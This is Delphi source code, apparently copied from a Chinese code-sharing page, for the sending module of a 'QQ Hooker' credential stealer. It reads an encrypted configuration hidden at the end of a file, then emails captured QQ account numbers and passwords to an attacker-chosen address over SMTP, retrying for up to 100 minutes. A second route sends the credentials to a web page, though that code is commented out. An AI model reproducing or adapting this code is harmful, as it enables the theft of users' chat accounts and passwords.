?? sendout.pas
字號:
unit SendOut;
interface
uses
Classes,
SysUtils,
Windows,
IdMessage,IdSMTP,
Encode;
type
TSendThread = class(TThread)
public
ConfigFile : String;
SendString : String;
procedure Execute; override;
end;
type
TConfig = record
canSend : Boolean;
canSendByHttp : Boolean;
CloseQQWaitTime : integer;
page : string; // http://www.xxx.com/send.jsp?MSG=
sender : string; // = '火血狼'
sendFrom : string; //38497027@qq.com;
username : string; //38497027;
password : string;
sendTo : string; //65845743@qq.com;
subject : string; // = 'QQ號和密碼'
smtpServer : string; // = '' //smtp.qq.com;
end;
procedure Send(userpass : string; configfile : string);
procedure InitConfig(var config : TConfig);
procedure ReadValues(FileName : String;var Config : TConfig);
procedure SendByHttp(userpass : string;config : TConfig);
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string;config : TConfig);
implementation
procedure InitConfig(var config : TConfig);
begin
config.canSend := false;
config.canSendByHttp := false;
config.CloseQQWaitTime := 0;
config.page := '';
config.sender := '火血狼';
config.sendFrom := '';
config.username := '';
config.password := '';
config.sendTo :='';
config.subject :='QQ號密碼';
config.smtpServer := '';
end;
////////////// 通過郵件發送 ///////////////////
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string;config : TConfig);
begin
if not config.canSend then begin
Exit;
end;
msg.From.Name := Trim(config.sender);
msg.From.Address := Trim(config.sendFrom);
msg.Recipients.EMailAddresses := Trim(config.sendTo);
msg.Body.Clear;
msg.Body.Add(Trim(userpass));
msg.Subject := Trim(config.subject);
smtp.Password := config.password;
smtp.Username := config.username;
smtp.Host := Trim(config.smtpServer);
smtp.Connect;
smtp.Send(msg);
smtp.Disconnect;
end;
procedure TSendThread.Execute;
var
smtp : TIdSmtp;
msg : TIdmessage;
SendTime : Integer;
keepSend : boolean;
cg : TConfig;
begin
try
InitConfig(cg);
ReadValues(ConfigFile,cg);
except
end;
SendString := Trim(SendString);
try
SendByHttp(SendString,cg);
except
end;
SendTime := 0;
KeepSend := true;
smtp := TIdsmtp.Create(nil);
msg := TIdmessage.Create(nil);
while keepSend and (SendTime < 100) do begin
try
SendByMail(smtp,msg,SendString,cg);
keepSend := false;
Inc(SendTime);
except
keepSend := True;
end;
if keepSend then Sleep(1000*60);
end;
smtp.Free;
msg.Free;
end;
/////////////////// 發送記錄 ////////////////
procedure Send(userpass : string; configfile : string);
var
st : TSendThread;
begin
if FileExists('C:\DEBUG') then begin
MessageBox(0, PChar(userpass), ' QQ Hooker', MB_OK);
end;
if Length(userpass) <= 0 then Exit;
try
st := TSendThread.Create(True);
st.ConfigFile := configfile;
st.SendString := userpass;
st.FreeOnTerminate := true;
st.Resume;
except
end;
end;
/////////////////讀取用戶配置////////////////////
procedure ReadValues(FileName : String;var Config : TConfig);
var
stream : TFileStream;
buffer : array[0..255] of char;
seeklen : integer;
XXHAN : array[0..4] of char;
begin
stream := nil;
try
try
stream := TFilestream.Create(FileName,fmopenread or fmShareDenyNone);
stream.Seek(-5,soFromEnd);
stream.ReadBuffer(XXHAN,sizeof(XXHAN));
if (Trim(XXHAN) <> 'XXHAN') then begin
Exit;
end;
stream.Seek(-sizeof(Integer)-5,soFromEnd);
stream.ReadBuffer(seeklen,sizeof(integer));
stream.Seek(-sizeof(Integer)-seeklen-5,soFromEnd);
stream.ReadBuffer(Config.CloseQQWaitTime,sizeof(integer));
ZeroMemory(@buffer,sizeof(buffer));
stream.ReadBuffer(buffer,sizeof(buffer));
Config.page := Trim(Decrypt(buffer));
if Config.page <> '' then begin
Config.canSendByHttp := true;
end;
//MessageBox(0,buffer,page,MB_OK);
//Log('ReadValues() : page='+page);
ZeroMemory(@buffer,sizeof(buffer));
stream.ReadBuffer(buffer,sizeof(buffer));
Config.sendFrom := Trim(Decrypt(buffer));
//MessageBox(0,Pchar(sendFrom),sendFrom,MB_OK);
//Log('ReadValues() : sendFrom='+sendFrom);
ZeroMemory(@buffer,sizeof(buffer));
stream.ReadBuffer(buffer,sizeof(buffer));
Config.smtpServer := Trim(Decrypt(buffer));
//MessageBox(0,Pchar(smtpServer),smtpServer,MB_OK);
//Log('ReadValues() : smtpServer='+smtpServer);
ZeroMemory(@buffer,sizeof(buffer));
stream.ReadBuffer(buffer,sizeof(buffer));
Config.username := Trim(Decrypt(buffer));
//MessageBox(0,Pchar(username),username,MB_OK);
//Log('ReadValues() : username='+username);
ZeroMemory(@buffer,sizeof(buffer));
stream.ReadBuffer(buffer,sizeof(buffer));
Config.password := Trim(Decrypt(buffer));
//MessageBox(0,Pchar(password),password,MB_OK);
//Log('ReadValues() : password='+password);
ZeroMemory(@buffer,sizeof(buffer));
stream.ReadBuffer(buffer,sizeof(buffer));
Config.sendTo := Trim(Decrypt(buffer));
//MessageBox(0,Pchar(sendTo),sendTo,MB_OK);
//Log('ReadValues() : sendTo='+sendTo);
Config.canSend := true;
except
end;
finally
if stream <> nil then
stream.Free;
end;
end;
/////////////// 通過網頁發送 ///////////////////
procedure SendByHttp(userpass : string;config : TConfig);
//var
// http : TIdhttp;
begin
if not Config.canSend then Exit;
if not Config.canSendByHttp then Exit;
{http := TIdhttp.Create(nil);
http.Get(trim(page)+?MSG=+s);
http.Free;}
//Log('SendByHttp() : '+userpass);
end;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -